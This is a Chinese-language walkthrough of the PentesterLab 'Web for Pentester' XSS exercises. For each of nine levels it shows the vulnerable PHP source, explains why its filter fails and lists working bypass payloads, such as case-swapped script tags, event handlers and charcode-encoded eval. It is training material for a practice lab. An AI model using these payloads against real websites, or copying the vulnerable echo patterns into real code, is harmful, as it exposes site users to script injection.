官方地址:PentesterLab: Learn Web App Pentesting!
Web for Pentester 也是一个web的靶场,如下图
XSS1:
源代码:
<?php
echo $_GET["name"];
?>
解释:无任何过滤,直接插入payload即可
paylod: <script>alert(1)</script>
XSS2
源代码:
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/</script>/","", $name);
echo $name;
?>
解释:对<script></script>标签进行了替换,但是没有区别大小写,可绕过
payload:
"><svg onload=alert(1)>
"><img src=x onerror=alert(1)>
<Script>alert(1)</ScRIpt>
XSS3
源码:
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/</script>/i","", $name);
echo $name;
?>
解释:对标签<script></script>大小写尽心了过滤,因此可通过起标签绕过
paylod:
"><img src=x onerror=alert(1)>//
XSS4
源码:
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
解释:这是一个正则匹配,匹配到script字符串,就反馈error,因此可以绕过
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
payload:
'"<!--><Svg OnLoad=(confirm)(1)-->
<input autofocus onfocus=alert(1)>
XSS5:
源代码:
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
解释:对alert字符进行了过滤,因此可以通过String.fromCharCode()编码其他标签饶过
payload:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>
'"<!--><Svg OnLoad=(confirm)(1)-->
XSS6:
源码:
<?php require_once '../header.php'; ?>
Hello
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
<?php require_once '../footer.php'; ?>
解释:这次是在script标签内的,因此可以直接插入script代码,或者闭合script标签之后,插入代码。
payload:
hacker";alert(1)//
hacker"-(confirm)(1)-"
hacker<!--></Script><Svg/OnLoad=(confirm)(1)-->
hacker"></script><script>alert(1)</script>
XSS7:
源码:
<?php require_once '../header.php'; ?>
Hello
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
<?php require_once '../footer.php'; ?>
解释:
htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗
payload:
hacker';alert(1)//
hacker'-(confirm)(1)-'
XSS8:
源码:
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<?php
require_once '../footer.php';
?>
解释:
通过POST传入,htmlentities()HTML实体化编码,基本没得利用,但是注意下那个$_SERVER['PHP_SELF'];
$_SERVER['PHP_SELF']简介
$_SERVER['PHP_SELF'] 表示当前 PHP文件相对于网站根目录的位置地址,与 document root 相关。
假设我们有如下网址,$_SERVER['PHP_SELF']得到的结果分别为:
http://52php.cnblogs.com/php/ : /php/test.php
因此,可以使用 $_SERVER['PHP_SELF'] 很方便的获取当前页面的地址:
$url = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
payload:
/"><script>alert('xss')</script>//
http://10.10.202.152/xss/example8.php/"><script>alert('xss')</script>//
XSS9:
源码:
<?php require_once '../header.php'; ?>
<script>
document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>
解释:
直接通过location.hash
传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash
属性
payload:
#<script>alert('XSS')</script>
备注:在IE浏览器下课触发Chrome和火狐是无法触发的
完结!